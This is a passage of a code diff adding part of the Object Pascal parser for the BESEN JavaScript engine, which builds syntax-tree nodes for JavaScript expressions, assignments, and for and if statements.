result:=TBESENASTNodeBooleanLiteral.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBooleanLiteral(result).Value:=false; + SkipToken(ltkFALSE); + end; + ltoOPENPAREN:begin + SkipToken(ltoOPENPAREN); + result:=ParseExpression(true); + SkipToken(ltoCLOSEPAREN); + end; + ltoOPENBRACE:begin + result:=ParseObjectLiteral; + end; + ltoOPENSQUARE:begin + result:=ParseArrayLiteral; + end; + lttIDENTIFIER:begin + result:=ParseIdentifier(true); + end; + ltoDIVIDE,ltoDIVIDEASSIGNMENT:begin + result:=ParseRegExpLiteral; + end; + lttSTRING:begin + result:=ParseStringLiteral; + end; + lttINTEGER,lttFLOAT:begin + result:=ParseNumbericLiteral; + end; + else begin + AddError('identifier or literal expected'); + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseArgumentList:TBESENASTNodeExpressions; + var Count:integer; + begin + result:=nil; + try + Count:=0; + SkipToken(ltoOPENPAREN); + if (CurrentToken.TokenType<>ltoCLOSEPAREN) and not Lexer.IsEOF then begin + while true do begin + if Count>=length(result) then begin + SetLength(result,Count+256); + end; + result[Count]:=ParseAssignmentExpression(true); + inc(Count); + if Lexer.IsEOF or (CurrentToken.TokenType=ltoCLOSEPAREN) then begin + break; + end else if CurrentToken.TokenType=ltoCOMMA then begin + SkipToken(ltoCOMMA); + end else begin + break; + end; + end; + end; + SkipToken(ltoCLOSEPAREN); + SetLength(result,Count); + except + for Count:=0 to length(result)-1 do begin + BESENFreeAndNil(result[Count]); + end; + SetLength(result,0); + raise; + end; + end; + function ParseLeftHandSideAndMemberExpression(IsLeftHandSideExpression:boolean=true):TBESENASTNodeExpression; + var Expression:TBESENASTNodeExpression; + Identifier:TBESENASTNodeIdentifier; + begin + result:=nil; + try + case CurrentToken.TokenType of + ltkNEW:begin + SkipToken(ltkNEW); + result:=TBESENASTNodeNewExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeNewExpression(result).TheFunction:=ParseLeftHandSideAndMemberExpression(false); + if CurrentToken.TokenType=ltoOPENPAREN then begin + TBESENASTNodeNewExpression(result).Arguments:=ParseArgumentList; + end else begin + TBESENASTNodeNewExpression(result).Arguments:=nil; + end; + end; + ltkFUNCTION:begin + result:=ParseFunctionExpression(true,false); + end; + else begin + result:=ParsePrimaryExpression; + end; + end; + while not Lexer.IsEOF do begin + if IsLeftHandSideExpression and (CurrentToken.TokenType=ltoOPENPAREN) then begin + Expression:=result; + result:=TBESENASTNodeCallExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeCallExpression(result).TheFunction:=Expression; + TBESENASTNodeCallExpression(result).Arguments:=ParseArgumentList; + end else if CurrentToken.TokenType=ltoOPENSQUARE then begin + Expression:=result; + result:=TBESENASTNodePropertyExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodePropertyExpression(result).Dot:=false; + TBESENASTNodePropertyExpression(result).LeftExpression:=Expression; + SkipToken(ltoOPENSQUARE); + TBESENASTNodePropertyExpression(result).RightExpression:=ParseExpression(true); + if TBESEN(Instance).IsStrict then begin + if assigned(TBESENASTNodePropertyExpression(result).RightExpression) then begin + if TBESENASTNodePropertyExpression(result).RightExpression is TBESENASTNodeStringLiteral then begin + if ((TBESENASTNodeStringLiteral(TBESENASTNodePropertyExpression(result).RightExpression).Value='eval') or (TBESENASTNodeStringLiteral(TBESENASTNodePropertyExpression(result).RightExpression).Value='arguments')) then begin + AddError('"'+TBESENASTNodeStringLiteral(TBESENASTNodePropertyExpression(result).RightExpression).Value+'" not allowed here'); + end; + end; + end; + end; + SkipToken(ltoCLOSESQUARE); + end else if CurrentToken.TokenType=ltoDOT then begin + Expression:=result; + result:=TBESENASTNodePropertyExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodePropertyExpression(result).Dot:=true; + TBESENASTNodePropertyExpression(result).LeftExpression:=Expression; + SkipToken(ltoDOT); + TBESENASTNodePropertyExpression(result).RightExpression:=TBESENASTNodeStringLiteral.Create(Instance); + Identifier:=ParseIdentifierName(true); + TBESENASTNodeStringLiteral(TBESENASTNodePropertyExpression(result).RightExpression).Value:=Identifier.Name; + Identifier.Free; + end else begin + break; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParsePostfixExpression:TBESENASTNodeExpression; + var Expression:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseLeftHandSideAndMemberExpression; + case CurrentToken.TokenType of + ltoPLUSPLUS:begin + if CurrentToken.WasLineEnd then begin + AddError('Illegal line terminator before postfix increment'); + end; + Expression:=result; + result:=TBESENASTNodePostfixIncExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoPLUSPLUS); + TBESENASTNodePostfixIncExpression(result).SubExpression:=Expression; + end; + ltoMINUSMINUS:begin + if CurrentToken.WasLineEnd then begin + AddError('Illegal line terminator before postfix decrement'); + end; + Expression:=result; + result:=TBESENASTNodePostfixDecExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoMINUSMINUS); + TBESENASTNodePostfixDecExpression(result).SubExpression:=Expression; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseUnaryExpression:TBESENASTNodeExpression; + begin + result:=nil; + try + case CurrentToken.TokenType of + ltoPLUSPLUS:begin + result:=TBESENASTNodePrefixIncExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoPLUSPLUS); + TBESENASTNodePrefixIncExpression(result).SubExpression:=ParseUnaryExpression; + end; + ltoMINUSMINUS:begin + result:=TBESENASTNodePrefixDecExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoMINUSMINUS); + TBESENASTNodePrefixdecExpression(result).SubExpression:=ParseUnaryExpression; + end; + ltoPLUS:begin + result:=TBESENASTNodeUnaryPlusExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoPLUS); + TBESENASTNodeUnaryPlusExpression(result).SubExpression:=ParseUnaryExpression; + end; + ltoMINUS:begin + result:=TBESENASTNodeUnaryMinusExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoMINUS); + TBESENASTNodeUnaryMinusExpression(result).SubExpression:=ParseUnaryExpression; + end; + ltoBITWISENOT:begin + result:=TBESENASTNodeUnaryBitwiseNotExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoBITWISENOT); + TBESENASTNodeUnaryBitwiseNotExpression(result).SubExpression:=ParseUnaryExpression; + end; + ltoLOGICALNOT:begin + result:=TBESENASTNodeUnaryLogicalNotExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltoLOGICALNOT); + TBESENASTNodeUnaryLogicalNotExpression(result).SubExpression:=ParseUnaryExpression; + end; + ltkVOID:begin + result:=TBESENASTNodeUnaryVoidExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltkVOID); + TBESENASTNodeUnaryVoidExpression(result).SubExpression:=ParseUnaryExpression; + end; + ltkTYPEOF:begin + result:=TBESENASTNodeUnaryTypeOfExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltkTYPEOF); + TBESENASTNodeUnaryTypeOfExpression(result).SubExpression:=ParseUnaryExpression; + end; + ltkDELETE:begin + result:=TBESENASTNodeDeleteExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + SkipToken(ltkDELETE); + TBESENASTNodeDeleteExpression(result).SubExpression:=ParseUnaryExpression; + end; + else begin + result:=ParsePostfixExpression; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseMultiplyExpression:TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseUnaryExpression; + while not Lexer.IsEOF do begin + case CurrentToken.TokenType of + ltoDIVIDE:begin + Left:=result; + result:=TBESENASTNodeBinaryDivideExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryDivideExpression(result).LeftExpression:=Left; + SkipToken(ltoDIVIDE); + TBESENASTNodeBinaryDivideExpression(result).RightExpression:=ParseUnaryExpression; + end; + ltoMODULO:begin + Left:=result; + result:=TBESENASTNodeBinaryModuloExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryModuloExpression(result).LeftExpression:=Left; + SkipToken(ltoMODULO); + TBESENASTNodeBinaryModuloExpression(result).RightExpression:=ParseUnaryExpression; + end; + ltoMULTIPLY:begin + Left:=result; + result:=TBESENASTNodeBinaryMultiplyExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryMultiplyExpression(result).LeftExpression:=Left; + SkipToken(ltoMULTIPLY); + TBESENASTNodeBinaryMultiplyExpression(result).RightExpression:=ParseUnaryExpression; + end; + else begin + break; + end; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseAdditionExpression:TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseMultiplyExpression; + while not Lexer.IsEOF do begin + case CurrentToken.TokenType of + ltoPLUS:begin + Left:=result; + result:=TBESENASTNodeBinaryPlusExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryPlusExpression(result).LeftExpression:=Left; + SkipToken(ltoPLUS); + TBESENASTNodeBinaryPlusExpression(result).RightExpression:=ParseMultiplyExpression; + end; + ltoMINUS:begin + Left:=result; + result:=TBESENASTNodeBinaryMinusExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryMinusExpression(result).LeftExpression:=Left; + SkipToken(ltoMINUS); + TBESENASTNodeBinaryMinusExpression(result).RightExpression:=ParseMultiplyExpression; + end; + else begin + break; + end; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseShiftExpression:TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseAdditionExpression; + while not Lexer.IsEOF do begin + case CurrentToken.TokenType of + ltoSHIFTLEFT:begin + Left:=result; + result:=TBESENASTNodeBinaryShiftLeftExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryShiftLeftExpression(result).LeftExpression:=Left; + SkipToken(ltoSHIFTLEFT); + TBESENASTNodeBinaryShiftLeftExpression(result).RightExpression:=ParseAdditionExpression; + end; + ltoSHIFTRIGHT:begin + Left:=result; + result:=TBESENASTNodeBinaryShiftRightExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryShiftRightExpression(result).LeftExpression:=Left; + SkipToken(ltoSHIFTRIGHT); + TBESENASTNodeBinaryShiftRightExpression(result).RightExpression:=ParseAdditionExpression; + end; + ltoSHIFTRIGHTUNSIGNED:begin + Left:=result; + result:=TBESENASTNodeBinaryShiftRightUnsignedExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryShiftRightUnsignedExpression(result).LeftExpression:=Left; + SkipToken(ltoSHIFTRIGHTUNSIGNED); + TBESENASTNodeBinaryShiftRightUnsignedExpression(result).RightExpression:=ParseAdditionExpression; + end; + else begin + break; + end; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseRelationalExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseShiftExpression; + while not Lexer.IsEOF do begin + case CurrentToken.TokenType of + ltoGREATERTHAN:begin + Left:=result; + result:=TBESENASTNodeBinaryGreaterThanExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryGreaterThanExpression(result).LeftExpression:=Left; + SkipToken(ltoGREATERTHAN); + TBESENASTNodeBinaryGreaterThanExpression(result).RightExpression:=ParseShiftExpression; + end; + ltoGREATERTHANOREQUAL:begin + Left:=result; + result:=TBESENASTNodeBinaryGreaterThanOrEqualExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryGreaterThanOrEqualExpression(result).LeftExpression:=Left; + SkipToken(ltoGREATERTHANOREQUAL); + TBESENASTNodeBinaryGreaterThanOrEqualExpression(result).RightExpression:=ParseShiftExpression; + end; + ltoLESSTHAN:begin + Left:=result; + result:=TBESENASTNodeBinaryLessThanExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryLessThanExpression(result).LeftExpression:=Left; + SkipToken(ltoLESSTHAN); + TBESENASTNodeBinaryLessThanExpression(result).RightExpression:=ParseShiftExpression; + end; + ltoLESSTHANOREQUAL:begin + Left:=result; + result:=TBESENASTNodeBinaryLessThanOrEqualExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryLessThanOrEqualExpression(result).LeftExpression:=Left; + SkipToken(ltoLESSTHANOREQUAL); + TBESENASTNodeBinaryLessThanOrEqualExpression(result).RightExpression:=ParseShiftExpression; + end; + ltkINSTANCEOF:begin + Left:=result; + result:=TBESENASTNodeBinaryInstanceOfExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryInstanceOfExpression(result).LeftExpression:=Left; + SkipToken(ltkINSTANCEOF); + TBESENASTNodeBinaryInstanceOfExpression(result).RightExpression:=ParseShiftExpression; + end; + ltkIN:begin + if InFlag then begin + Left:=result; + result:=TBESENASTNodeBinaryInExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryInExpression(result).LeftExpression:=Left; + SkipToken(ltkIN); + TBESENASTNodeBinaryInExpression(result).RightExpression:=ParseShiftExpression; + end else begin + break; + end; + end; + else begin + break; + end; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseEqualityExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseRelationalExpression(InFlag); + while not Lexer.IsEOF do begin + case CurrentToken.TokenType of + ltoEQUALEQUAL:begin + Left:=result; + result:=TBESENASTNodeBinaryEqualEqualExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryEqualEqualExpression(result).LeftExpression:=Left; + SkipToken(ltoEQUALEQUAL); + TBESENASTNodeBinaryEqualEqualExpression(result).RightExpression:=ParseRelationalExpression(InFlag); + end; + ltoEQUALEQUALEQUAL:begin + Left:=result; + result:=TBESENASTNodeBinaryEqualEqualEqualExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryEqualEqualEqualExpression(result).LeftExpression:=Left; + SkipToken(ltoEQUALEQUALEQUAL); + TBESENASTNodeBinaryEqualEqualEqualExpression(result).RightExpression:=ParseRelationalExpression(InFlag); + end; + ltoNOTEQUAL:begin + Left:=result; + result:=TBESENASTNodeBinaryNotEqualExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryNotEqualExpression(result).LeftExpression:=Left; + SkipToken(ltoNOTEQUAL); + TBESENASTNodeBinaryNotEqualExpression(result).RightExpression:=ParseRelationalExpression(InFlag); + end; + ltoNOTEQUALEQUAL:begin + Left:=result; + result:=TBESENASTNodeBinaryNotEqualEqualExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryNotEqualEqualExpression(result).LeftExpression:=Left; + SkipToken(ltoNOTEQUALEQUAL); + TBESENASTNodeBinaryNotEqualEqualExpression(result).RightExpression:=ParseRelationalExpression(InFlag); + end; + else begin + break; + end; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseBitwiseAndExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseEqualityExpression(InFlag); + while not Lexer.IsEOF do begin + if CurrentToken.TokenType=ltoBITWISEAND then begin + Left:=result; + result:=TBESENASTNodeBinaryBitwiseAndExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryBitwiseAndExpression(result).LeftExpression:=Left; + SkipToken(ltoBITWISEAND); + TBESENASTNodeBinaryBitwiseAndExpression(result).RightExpression:=ParseEqualityExpression(InFlag); + end else begin + break; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseBitwiseXorExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseBitwiseAndExpression(InFlag); + while not Lexer.IsEOF do begin + if CurrentToken.TokenType=ltoBITWISEXOR then begin + Left:=result; + result:=TBESENASTNodeBinaryBitwiseXorExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryBitwiseXorExpression(result).LeftExpression:=Left; + SkipToken(ltoBITWISEXOR); + TBESENASTNodeBinaryBitwiseXorExpression(result).RightExpression:=ParseBitwiseAndExpression(InFlag); + end else begin + break; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseBitwiseOrExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseBitwiseXorExpression(InFlag); + while not Lexer.IsEOF do begin + if CurrentToken.TokenType=ltoBITWISEOR then begin + Left:=result; + result:=TBESENASTNodeBinaryBitwiseOrExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeBinaryBitwiseOrExpression(result).LeftExpression:=Left; + SkipToken(ltoBITWISEOR); + TBESENASTNodeBinaryBitwiseOrExpression(result).RightExpression:=ParseBitwiseXorExpression(InFlag); + end else begin + break; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseLogicalAndExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseBitwiseOrExpression(InFlag); + while not Lexer.IsEOF do begin + if CurrentToken.TokenType=ltoLOGICALAND then begin + Left:=result; + result:=TBESENASTNodeLogicalAndExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeLogicalAndExpression(result).LeftExpression:=Left; + SkipToken(ltoLOGICALAND); + TBESENASTNodeLogicalAndExpression(result).RightExpression:=ParseBitwiseOrExpression(InFlag); + end else begin + break; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseLogicalOrExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseLogicalAndExpression(InFlag); + while not Lexer.IsEOF do begin + if CurrentToken.TokenType=ltoLOGICALOR then begin + Left:=result; + result:=TBESENASTNodeLogicalOrExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeLogicalOrExpression(result).LeftExpression:=Left; + SkipToken(ltoLOGICALOR); + TBESENASTNodeLogicalOrExpression(result).RightExpression:=ParseLogicalAndExpression(InFlag); + end else begin + break; + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseConditionalExpression(InFlag:boolean):TBESENASTNodeExpression; + var Expression:TBESENASTNodeExpression; + begin + result:=nil; + try + result:=ParseLogicalOrExpression(InFlag); + if CurrentToken.TokenType=ltoCONDITIONAL then begin + Expression:=result; + result:=TBESENASTNodeConditionalExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeConditionalExpression(result).Expression:=Expression; + SkipToken(ltoCONDITIONAL); + TBESENASTNodeConditionalExpression(result).TrueExpression:=ParseAssignmentExpression(InFlag); + SkipToken(ltoCOLON); + TBESENASTNodeConditionalExpression(result).FalseExpression:=ParseAssignmentExpression(InFlag); + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseAssignmentExpression(InFlag:boolean):TBESENASTNodeExpression; + var Left:TBESENASTNodeExpression; + begin + result:=nil; + Left:=nil; + try + result:=ParseConditionalExpression(InFlag); + case CurrentToken.TokenType of + ltoASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentExpression(result).LeftExpression:=Left; + SkipToken(ltoASSIGNMENT); + TBESENASTNodeAssignmentExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoMULTIPLYASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentMultiplyExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentMultiplyExpression(result).LeftExpression:=Left; + SkipToken(ltoMULTIPLYASSIGNMENT); + TBESENASTNodeAssignmentMultiplyExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoDIVIDEASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentDivideExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentDivideExpression(result).LeftExpression:=Left; + SkipToken(ltoDIVIDEASSIGNMENT); + TBESENASTNodeAssignmentDivideExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoMODULOASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentModuloExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentModuloExpression(result).LeftExpression:=Left; + SkipToken(ltoMODULOASSIGNMENT); + TBESENASTNodeAssignmentModuloExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoPLUSASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentPlusExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentPlusExpression(result).LeftExpression:=Left; + SkipToken(ltoPLUSASSIGNMENT); + TBESENASTNodeAssignmentPlusExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoMINUSASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentMinusExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentMinusExpression(result).LeftExpression:=Left; + SkipToken(ltoMINUSASSIGNMENT); + TBESENASTNodeAssignmentMinusExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoSHIFTLEFTASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentShiftLeftExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentShiftLeftExpression(result).LeftExpression:=Left; + SkipToken(ltoSHIFTLEFTASSIGNMENT); + TBESENASTNodeAssignmentShiftLeftExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoSHIFTRIGHTASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentShiftRightExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentShiftRightExpression(result).LeftExpression:=Left; + SkipToken(ltoSHIFTRIGHTASSIGNMENT); + TBESENASTNodeAssignmentShiftRightExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoSHIFTRIGHTUNSIGNEDASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentShiftRightUnsignedExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentShiftRightUnsignedExpression(result).LeftExpression:=Left; + SkipToken(ltoSHIFTRIGHTUNSIGNEDASSIGNMENT); + TBESENASTNodeAssignmentShiftRightUnsignedExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoBITWISEANDASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentBitwiseAndExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentBitwiseAndExpression(result).LeftExpression:=Left; + SkipToken(ltoBITWISEANDASSIGNMENT); + TBESENASTNodeAssignmentBitwiseAndExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoBITWISEXORASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentBitwiseXorExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentBitwiseXorExpression(result).LeftExpression:=Left; + SkipToken(ltoBITWISEXORASSIGNMENT); + TBESENASTNodeAssignmentBitwiseXorExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + ltoBITWISEORASSIGNMENT:begin + Left:=result; + result:=TBESENASTNodeAssignmentBitwiseOrExpression.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + TBESENASTNodeAssignmentBitwiseOrExpression(result).LeftExpression:=Left; + SkipToken(ltoBITWISEORASSIGNMENT); + TBESENASTNodeAssignmentBitwiseOrExpression(result).RightExpression:=ParseAssignmentExpression(InFlag); + end; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseVariableDeclaration(InFlag:boolean):TBESENASTNodeVariableDeclaration; + begin + result:=nil; + try + result:=TBESENASTNodeVariableDeclaration.Create(Instance); + result.Location.LineNumber:=CurrentToken.LineNumber; + result.Identifier:=ParseIdentifier(not TBESEN(Instance).IsStrict); + if CurrentToken.TokenType=ltoASSIGNMENT then begin + SkipToken(ltoASSIGNMENT); + result.Expression:=ParseAssignmentExpression(InFlag); + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + function ParseForStatement:TBESENASTNodeStatement; + var OldInForHeader:boolean; + State,i,ln:integer; + Declaration:TBESENASTNodeVariableDeclaration; + Initial,Expression,Variable:TBESENASTNodeExpression; + VariableExpression:TBESENASTNodeVariableExpression; + LabelSet:TBESENParserLabelSet; + ALabel:TBESENParserLabel; + begin + ln:=Lexer.LineNumber; + result:=nil; + Initial:=nil; + Declaration:=nil; + Variable:=nil; + Expression:=nil; + try + LabelSet:=LabelSetCurrent; + LabelSet.Continuable:=true; + ALabel:=LabelEnter('',nil); + + SkipToken(ltkFOR); + + SkipToken(ltoOPENPAREN); + OldInForHeader:=InForHeader; + InForHeader:=true; + State:=0; + while not Lexer.IsEOF do begin + case State of + 0:begin + if CurrentToken.TokenType=ltkVAR then begin + State:=1; + end else if CurrentToken.TokenType<>ltoSEMICOLON then begin + State:=2; + end else begin + State:=5; + end; + end; + 1:begin + SkipToken(ltkVAR); + Declaration:=ParseVariableDeclaration(false); + if (CurrentToken.TokenType=ltkIN) and (assigned(Declaration) and not assigned(Declaration.Expression)) then begin + Variable:=Declaration; + Declaration:=nil; + State:=3; + end else begin + State:=4; + end; + end; + 2:begin + Initial:=ParseExpression(false); + if CurrentToken.TokenType=ltkIN then begin + Variable:=Initial; + Initial:=nil; + State:=3; + end else begin + State:=5; + end; + end; + 3:begin + SkipToken(ltkIN); + Expression:=ParseExpression(true); + SkipToken(ltoCLOSEPAREN); + InForHeader:=OldInForHeader; + result:=TBESENASTNodeForInStatement.Create(Instance); + TBESENASTNodeForInStatement(result).Target:=LabelSet.Target; + TBESENASTNodeForInStatement(result).Variable:=Variable; + TBESENASTNodeForInStatement(result).Expression:=Expression; + ALabel.Node:=result; + Variable:=nil; + Expression:=nil; + break; + end; + 4:begin + VariableExpression:=TBESENASTNodeVariableExpression.Create(Instance); + Initial:=VariableExpression; + SetLength(VariableExpression.Declarations,1); + VariableExpression.Declarations[0]:=Declaration; + Declaration:=nil; + i:=1; + while (CurrentToken.TokenType=ltoCOMMA) and not Lexer.IsEOF do begin + SkipToken(ltoCOMMA); + if i>=length(VariableExpression.Declarations) then begin + SetLength(VariableExpression.Declarations,i+256); + end; + VariableExpression.Declarations[i]:=ParseVariableDeclaration(false); + inc(i); + end; + SetLength(VariableExpression.Declarations,i); + State:=5; + end; + 5:begin + result:=TBESENASTNodeForStatement.Create(Instance); + TBESENASTNodeForStatement(result).Initial:=Initial; + TBESENASTNodeForStatement(result).Target:=LabelSet.Target; + ALabel.Node:=result; + Initial:=nil; + SkipToken(ltoSEMICOLON); + if CurrentToken.TokenType<>ltoSEMICOLON then begin + TBESENASTNodeForStatement(result).Condition:=ParseExpression(true); + end; + SkipToken(ltoSEMICOLON); + if CurrentToken.TokenType<>ltoCLOSEPAREN then begin + TBESENASTNodeForStatement(result).Increment:=ParseExpression(true); + end; + SkipToken(ltoCLOSEPAREN); + break; + end; + end; + end; + InForHeader:=OldInForHeader; + if assigned(result) then begin + if result is TBESENASTNodeForStatement then begin + TBESENASTNodeForStatement(result).Statement:=ParseStatement(true); + end else if result is TBESENASTNodeForInStatement then begin + TBESENASTNodeForInStatement(result).Statement:=ParseStatement(true); + end; + end else begin + result:=TBESENASTNodeEmptyStatement.Create(Instance); + end; + result.Location.LineNumber:=ln; + LabelLeave; + except + BESENFreeAndNil(Initial); + BESENFreeAndNil(Declaration); + BESENFreeAndNil(Variable); + BESENFreeAndNil(Expression); + BESENFreeAndNil(result); + raise; + end; + end; + function ParseIfStatement:TBESENASTNodeIfStatement; + begin + result:=nil; + try + result:=TBESENASTNodeIfStatement.Create(Instance); + result.Location.LineNumber:=Lexer.LineNumber; + SkipToken(ltkIF); + SkipToken(ltoOPENPAREN); + result.Expression:=ParseExpression(true); + SkipToken(ltoCLOSEPAREN); + result.TrueStatement:=ParseStatement(true); + if CurrentToken.TokenType=ltkELSE then begin + SkipToken(ltkELSE); + result.FalseStatement:=ParseStatement(true); + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + 